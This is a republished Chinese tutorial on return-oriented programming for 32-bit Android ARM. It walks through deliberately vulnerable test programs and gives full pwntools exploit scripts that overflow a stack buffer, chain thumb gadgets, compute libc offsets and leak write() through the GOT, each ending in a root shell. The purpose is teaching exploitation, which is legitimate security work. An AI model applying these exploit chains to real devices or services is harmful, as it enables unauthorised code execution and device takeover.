您的位置:首页 > 移动开发 > Android开发

一步一步学ROP之Android ARM 32位篇

2016-03-06 16:32 633 查看

0x00 序

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。之前我们主要讨论了linux上的ROP攻击:

一步一步学ROP之linux_x86篇 http://drops.wooyun.org/tips/6597 一步一步学ROP之linux_x64篇 http://drops.wooyun.org/papers/7551 一步一步学ROP之gadgets和2free篇 http://drops.wooyun.org/binary/10638
在这次的教程中我们会带来arm上rop利用的技术,欢迎大家继续学习。
另外文中涉及代码可在我的github下载:

https://github.com/zhengmin1989/ROP_STEP_BY_STEP

0x01 ARM上的Buffer Overflow

作为一个程序员我们的目标是要会写所有语言的”hello world”。同样的,作为一个安全工程师,我们的目标是会exploit掉所有语言的buffer overflow。:)因为buffer overflow实在是太经典了,所以我们的arm篇也是从buffer overflow开始。
首先来看第一个程序 level6.c:

1234567891011121314151617181920#include<stdio.h>#include<stdlib.h>#include<unistd.h> voidcallsystem(){system("/system/bin/sh");} void vulnerable_function(){charbuf[128];read(STDIN_FILENO,buf,256);} intmain(intargc,char**argv){if (argc==2&&strcmp("passwd",argv[1])==0)callsystem();write(STDOUT_FILENO,"Hello, World\n",13);   vulnerable_function();}
我们的目标是在不使用密码的情况下,获取到shell。为了减少难度,我们先将stack canary去掉(在JNI目录下建立
Application.mk
并加入
APP_CFLAGS += -fno-stack-protector
)。随后用ndk-build进行编译。然后将level6文件拷贝到
"/data/local/tmp"
目录下。接下来我们把这个目标程序作为一个服务绑定到服务器的某个端口上,这里我们可以使用socat这个工具来完成。最后我们再做一个端口转发,准备工作就算完成了。基本命令如下:

1
2
3
4
5
6

ndk-build

adb push libs/armeabi/level6/data/local/tmp/
adbshell

cd /data/local/tmp/
./socatTCP4-LISTEN:10001,forkEXEC:./level6

adb forward tcp:10001tcp:10001

现在我们尝试连接一下:

12$nc 127.0.0.110001Hello,World
发现工作正常。OK,那么我们开始进行BOF吧。和之前的x86一样,我们先用pattern.py来确定溢出点的位置。我们用命令:

1

pythonpattern.pycreate 150

来生成一串测试用的150个字节的字符串:

1Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
然后我们写一个py脚本来发送这串数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

#!/usr/bin/envpython

from pwn import*

#p= process('./level6')
p= remote('127.0.0.1',10001)

p.recvuntil('\n')

raw_input()

payload="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"

p.send(payload)

p.interactive()

但因为我们需要获取崩溃时pc的值,所以在发送数据前,我们先使用gdb加载上level6。
我们先在电脑上运行python脚本:

123[pc]$python test.py[+]Opening connection to 127.0.0.1on port10001:Done…
然后在adb shell中用ps获取level6的pid,然后再挂载level6,然后用c继续:

1
2
3
4
5
6
7
8
9
10

[adb]#./gdb--pid=4895

GNUgdb 6.7

Copyright (C)2007 FreeSoftware Foundation,Inc.
LicenseGPLv3+:GNU GPL version3 orlater <http://gnu.org/licenses/gpl.html>

……
Loadedsymbols for/system/lib/libm.so

0xb6eff268 inread ()from /system/lib/libc.so
(gdb)c

Continuing.

然后我们再在电脑上输入回车,让脚本发送数据。然后我们就能够在gdb里看到崩溃的pc的值了:

123Programreceived signal SIGSEGV,Segmentation fault.0x41346540 in??()(gdb)
因为我们编译的level6默认是thumb模式,所以我们要在这个崩溃的地址上加个1:
0x41346540+1 = 0x41346541
。然后用pattern.py计算一下溢出点的位置:

1
2
3

$python pattern.pyoffset 0x41346541

hex pattern decodedas:Ae4A
132

OK,我们知道了溢出点的位置,接下来我们找一下返回的地址。其实利用的代码在程序中已经有了。我们只要将pc指向callsystem()这个函数地址即可。我们在ida中可以看到地址为
0x00008554




因为
callsystem()
被编译成了thumb指令,所以我们需要将地址+1,让pc知道这里的代码为thumb指令,最终exp如下:

1234567891011121314#!/usr/bin/envpythonfrom pwn import* #p= process('./level6')p= remote('127.0.0.1',10001) p.recvuntil('\n') callsystemaddr= 0x00008554+ 1payload = 'A'*132+ p32(callsystemaddr) p.send(payload) p.interactive()
执行效果如下:

1
2
3
4
5

$python level6.py

[+]Opening connection to 127.0.0.1on port10001:Done
[*]Switching tointeractive mode

$ /system/bin/id
uid=0(root)gid=0(root)context=u:r:shell:s0

0x02 寻找thumb gadgets

下面我们来看第二个程序level7.c:

12345678910111213141516171819202122#include<stdio.h>#include<stdlib.h>#include<unistd.h> char*str="/system/bin/sh"; voidcallsystem(){system("id");} void vulnerable_function(){charbuf[128];read(STDIN_FILENO,buf,256);} intmain(intargc,char**argv){if (argc==2&&strcmp("passwd",argv[1])==0)callsystem();write(STDOUT_FILENO,"Hello, World\n",13); vulnerable_function();}
在这个程序里,我们即使知道密码,也仅仅只能执行”id”这个命令,我们的目标是获取到一个可以使用的shell,也就是执行
system("/system/bin/sh")
。怎么办呢?这里我们就需要来寻找可利用的gadgets,先让r0指向
"/system/bin/sh"
这个字符串的地址,然后再调用system()函数达到我们的目的。如何寻找gadgets呢?虽然用ida或者objdump也可以进行查找,但比较费时费力,这里我推荐使用ROPGadget。因为level7默认会编译成thumb指令,所以我们也采用thumb模式查找gadgets:

1
2
3
4
5
6
7
8

$ROPgadget --binary=./level7--thumb| grep"ldr
r0"

0x00008618 :add r0,pc ;b #0x862e; ldrr0,[pc,#0x10]; addr0,pc ;ldr r0,[r0]; b#0x8634; movsr0,#0; pop{pc}
0x0000861e: addr0,pc ;ldr r0,[r0]; b#0x862e; movsr0,#0; pop{pc}

0x0000893e :add r3,sp,#0xc; movsr1,#0; strr3,[sp]; addsr3,r1,#0; bl#0x8916; ldrr0,[sp,#0xc]; addsp,#0x14; pop{pc}
0x000090fe: addr3,sp,#0xc; strr3,[sp]; movsr2,#0xc; addsr3,r1,#0; bl#0x8916; ldrr0,[sp,#0xc]; addsp,#0x14; pop{pc}

0x000093ca :add sp,#0x10; pop{r4,pc}; push{r3,lr}; bl#0x911c; ldrr0,[r0,#0x48]; pop{r3,pc}
0x00008826: addsp,r3 ;pop {r4,r5,r6,r7,pc}; movr8,r8 ;stc2 p15,c15,[r4],#-0x3fc; ldrr0,[r0,#0x44]; bxlr

……

在这些gadgets中,我们成功找到了一个gadget可以符合我们的要求:

10x0000894a: ldrr0,[sp,#0xc]; addsp,#0x14; pop{pc}
接下来就是找system和
"/system/bin/sh"
的地址,分别为0x00008404和000096C0:



要注意的是,因为
system()
函数在plt区域,并没有被编译成thumb指令,而是普通的arm指令,因此并不需要将地址+1。最终level7.py如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

#!/usr/bin/envpython

from pwn import*

#p= process('./level7')
p= remote('30.10.20.253',10001)

p.recvuntil('\n')

#0x0000894a: ldrr0,[sp,#0xc]; addsp,#0x14; pop{pc}

gadget1 =0x0000894a +1

#"/system/bin/sh"
r0= 0x000096C0

#.plt:00008404; intsystem(constchar *command)

systemaddr =0x00008404

payload = '\x00'*132+ p32(gadget1)+ "\x00"*0xc+ p32(r0)+ "\x00"*0x4+ p32(systemaddr)

p.send(payload)

p.interactive()

执行结果如下:

123456$python level7.py[+]Opening connection to 30.10.20.253on port10001:Done [*]Switching tointeractive mode$/system/bin/iduid=0(root)gid=0(root)context=u:r:shell:s0

0x03 Android上的ASLR

Android上的ASLR其实伪ASLR,因为如果程序是由皆由zygote fork的,那么所有的系统library(
libc
,
libandroid_runtime
等)和
dalvik - heap
的基址都会是相同的,并且和zygote的内存布局一模一样。比如我们随便看两个由zygote fork的进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

root@hammerhead:/# cat/proc/1698/maps

400e8000-400ed000r-xp00000000 b3:198201 /system/bin/app_process
400ed000-400ee000r--p00004000 b3:198201 /system/bin/app_process

400ee000-400ef000rw-p00005000 b3:198201 /system/bin/app_process
400ef000-400fe000r-xp00000000 b3:198248 /system/bin/linker

400fe000-400ff000r-xp00000000 00:000 [sigpage]
400ff000-40100000r--p0000f000 b3:198248 /system/bin/linker

40100000-40101000rw-p00010000 b3:198248 /system/bin/linker
40101000-40104000rw-p00000000 00:000

40104000-40105000r--p00000000 00:000
40105000-40106000rw-p00000000 00:000 [anon:libc_malloc]

40106000-40109000r-xp00000000 b3:1949324 /system/lib/liblog.so
40109000-4010a000r--p00002000 b3:1949324 /system/lib/liblog.so

4010a000-4010b000rw-p00003000 b3:1949324 /system/lib/liblog.so
4010b000-40153000r-xp00000000 b3:1949236 /system/lib/libc.so

40153000-40155000r--p00047000 b3:1949236 /system/lib/libc.so
40155000-40158000rw-p00049000 b3:1949236 /system/lib/libc.so

root@hammerhead:/# cat/proc/1720/maps

400e8000-400ed000r-xp00000000 b3:198201 /system/bin/app_process
400ed000-400ee000r--p00004000 b3:198201 /system/bin/app_process

400ee000-400ef000rw-p00005000 b3:198201 /system/bin/app_process
400ef000-400fe000r-xp00000000 b3:198248 /system/bin/linker

400fe000-400ff000r-xp00000000 00:000 [sigpage]
400ff000-40100000r--p0000f000 b3:198248 /system/bin/linker

40100000-40101000rw-p00010000 b3:198248 /system/bin/linker
40101000-40104000rw-p00000000 00:000

40104000-40105000r--p00000000 00:000
40105000-40106000rw-p00000000 00:000 [anon:libc_malloc]

40106000-40109000r-xp00000000 b3:1949324 /system/lib/liblog.so
40109000-4010a000r--p00002000 b3:1949324 /system/lib/liblog.so

4010a000-4010b000rw-p00003000 b3:1949324 /system/lib/liblog.so
4010b000-40153000r-xp00000000 b3:1949236 /system/lib/libc.so

40153000-40155000r--p00047000 b3:1949236 /system/lib/libc.so
40155000-40158000rw-p00049000 b3:1949236 /system/lib/libc.so

可以看到地址都是一模一样的。这意味着什么呢?我们知道android上所有的app都是由zygote fork出来的,因此我们只要在自己的app上得到libc.so等库的地址就可以知道其他app上的地址了。
假设我们已经知道了目标app的libc.so在内存中的地址了,那么应该如何控制pc执行我们希望的rop呢?OK,现在我们现在来看level8.c:

12345678910111213141516171819202122#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<dlfcn.h> void getsystemaddr(){void*handle =dlopen("libc.so",RTLD_LAZY);printf("%p\n",dlsym(handle,"system"));fflush(stdout);} voidvulnerable_function(){char buf[128];read(STDIN_FILENO,buf,256);} int main(intargc,char**argv){getsystemaddr();write(STDOUT_FILENO,"Hello, World\n",13); vulnerable_function();}
这个程序会先输出system的地址,相当于我们已经获取了这个进程的内存布局了。接下来要做的就是在libc.so中寻找我们需要的gadgets和字符串地址。因为libc.so很大,我们完全不用担心找不到需要的gadgets,并且我们只需要控制一个r0即可。因此这些gadgets都能满足我们的需求:

1
2
3

0x00014f48: ldrr0,[sp,#4]; pop{r1,r2,r3,pc}

0x0002e404 :ldr r0,[sp,#4]; pop{r2,r3,r4,r5,r6,pc}
0x00034ace: ldrr0,[sp]; pop{r1,r2,r3,pc}

接下来就是在libc.so中找
system()
"/system/bin/sh"
的位置:





可以看到地址分别为
0x000253A4
0x0003F9B4
。当然了,就算获取了这些地址,我们也需要根据
system()
在内存中的地址进行偏移量的计算才能够成功的找到gadgets和
"/system/bin/sh"
在内存中的地址。除此之外,还要注意thumb指令和arm指令的转换问题。最终的exp level8.py如下:

12345678910111213141516171819202122232425262728#!/usr/bin/envpythonfrom pwn import* #p= process('./level8')p= remote('127.0.0.1',10001) system_addr_str= p.recvuntil('\n')print "str:"+ system_addr_strsystem_addr= int(system_addr_str,16)print "system_addr = "+ hex(system_addr) p.recvuntil('\n') #.text:000253A4 EXPORT system #0x00034ace: ldrr0,[sp]; pop{r1,r2,r3,pc}gadget1= system_addr+ (0x00034ace- 0x000253A4)print "gadget1 = "+ hex(gadget1) #.rodata:0003F9B4aSystemBinSh DCB "/system/bin/sh",0r0= system_addr+ (0x0003F9B4- 0x000253A4)- 1print "/system/bin/sh addr = "+ hex(r0) payload = '\x00'*132+ p32(gadget1)+ p32(r0)+ "\x00"*0x8+ p32(system_addr) p.send(payload) p.interactive()
执行结果如下:

1
2
3
4
5
6
7
8

$python level8.py

[+]Opening connection to 127.0.0.1on port10001:Done
system_addr= 0xb6f1e3a5

gadget1 =0xb6f2dacf
/system/bin/shaddr =0xb6f389b4

[*]Switching tointeractive mode
$id

uid=0(root)gid=0(root)context=u:r:shell:s0

0x04 Android上的information leak

在上面的例子中,我们假设已经知道了libc.so的基址了,但是如果我们是进行远程攻击,并且原程序中没有调用
system()
函数怎么办?这意味着目标程序的内存布局对我们来说是随机的,我们并不能直接调用libc.so中的gadgets,因为我们并不知道libc.so在内存中的地址。其实这也是有办法的,我们首先需要一个information leak的漏洞来获取libc.so在内存中的地址,然后再控制pc去执行我们的rop。现在我们来看level9.c:

1234567891011121314#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<dlfcn.h> void vulnerable_function(){charbuf[128];read(STDIN_FILENO,buf,512);} intmain(intargc,char**argv){write(STDOUT_FILENO,"Hello, World\n",13);vulnerable_function();}



虽然程序非常简单,可用的gadgets很少。但好消息是我们发现除了程序本身的实现的函数之外,我们还可以使用
write@plt()
函数。但因为程序本身并没有调用
system()
函数,所以我们并不能直接调用
system()
来获取shell。但其实我们有
write@plt()
函数就够了,因为我们可以通过
write@plt()
函数把
write()
函数在内存中的地址也就是write.got给打印出来。既然
write()
函数实现是在libc.so当中,那我们调用的
write@plt()
函数为什么也能实现
write()
功能呢? 这是因为android和linux类似采用了延时绑定技术,当我们调用
write@plit()
的时候,系统会将真正的
write()
函数地址link到got表的write.got中,然后
write@plit()
会根据write.got 跳转到真正的
write()
函数上去。(如果还是搞不清楚的话,推荐阅读潘爱民老师的《程序员的自我修养 – 链接、装载与库》这本书,潘老师是我主管的事情我才不会告诉你。。。)因为
system()
函数和
write()
在libc.so中的offset(相对地址)是不变的,所以如果我们得到了
write()
的地址并且拥有目标手机上的libc.so就可以计算出
system()
在内存中的地址了。然后我们再将pc指针return回
vulnerable_function()
函数,就可以进行第二次溢出攻击了,并且这一次我们知道了
system()
在内存中的地址,就可以调用
system()
函数来获取我们的shell了。另外需要注意的是write()函数是三个参数,因此我们还需要控制r1和r2才行,刚好程序中有如下gadget可以满足我们的需求:

1

#0x0000863a: pop{r1,r2,r4,r5,r6,pc}

另外为了能再一次返回
vulnerable_function()
,我们需要构造好执行完write函数后的栈的数据,让程序执行完
ADD SP, SP
,
#0x84
;
POP {PC}
后,PC能再一次指向
0x000084D8




最终的explevel9.py如下:

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748#!/usr/bin/envpythonfrom pwn import* #p= process('./level7')p= remote('30.10.20.253',10001) p.recvuntil('\n') #0x00008a12: ldrr0,[sp,#0xc]; addsp,#0x14; pop{pc}gadget1 =0x000088be +1 #0x0000863a: pop{r1,r2,r4,r5,r6,pc}gadget2= 0x0000863a+ 1 #.text:000084D8vulnerable_functionret_to_vul =0x000084D8 +1 #write(r0=1,r1=0x0000AFE8,r2=4)r0= 1r1 =0x0000AFE8r2= 4r4 =0r5= 0r6 =0write_addr_plt= 0x000083C8 payload= '\x00'*132+ p32(gadget1)+ '\x00'*0xc+ p32(r0)+ '\x00'*0x4+ p32(gadget2)+ p32(r1)+ p32(r2)+ p32(r4)+ p32(r5)+ p32(r6)+ p32(write_addr_plt)+ '\x00'* 0x84+p32(ret_to_vul) p.send(payload) write_addr= u32(p.recv(4))print 'write_addr='+ hex(write_addr) #.rodata:0003F9B4aSystemBinSh DCB "/system/bin/sh",0#.text:000253A4 EXPORT system#.text:00020280 EXPORT write r0 =write_addr +(0x0003F9B4- 0x00020280)system_addr= write_addr+ (0x000253A4- 0x00020280)+ 1 print'r0=' +hex(r0)print 'system_addr='+ hex(system_addr) payload2 = '\x00'*132+ p32(gadget1)+ "\x00"*0xc+ p32(r0)+ "\x00"*0x4+ p32(system_addr) p.send(payload2) p.interactive()
执行exp的结果如下:

1
2
3
4
5
6
7
8

$python level9.py

[+]Opening connection to 30.10.20.253on port10001:Done
write_addr=0xb6f27280

r0=0xb6f469b4
system_addr=0xb6f2c3a5

[*]Switching tointeractive mode
$/system/bin/id

uid=0(root)gid=0(root)context=u:r:shell:s0

0x05 Android ROP调试技巧

因为gdb对thumb指令的解析并不好,所以我还是推荐用ida来进行调试。如果你还不会用ida,可以先看一下我之前写的关于ida调试的文章:

1
2

安卓动态调试七种武器之孔雀翎–Ida pro
http://drops.wooyun.org/tips/6840
除此之外,还有个很重要的技巧就是如何让ida正确的解析指令。ida在很多时候并不知道需要解析的指令是thumb还是arm,有时候甚至都不知道是啥内容。
比如图中是libc.so中system的代码:



这段代码其实是thumb指令,但是我们怎么样才能让ida解析正确呢?方法就是用鼠标选中
0xB6EE03A4
,然后按
alt+g
键,然后将
value
改成
0x1
。这样的话,ida就会按照thumb指令来解析这段数据了。



我们随后选中那块数据然后按c键,就可以看到指令被正确的解析了。



0x06 总结

我们这篇文章介绍了32位android的ROP。在下一篇中我会继续带来64位arm和iOS上ROP的利用技巧,欢迎大家继续学习。另外文中涉及代码可在我的github下载:
https://github.com/zhengmin1989/ROP_STEP_BY_STEP
转载自:http://drops.wooyun.org/papers/11390 原文作者:蒸米
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: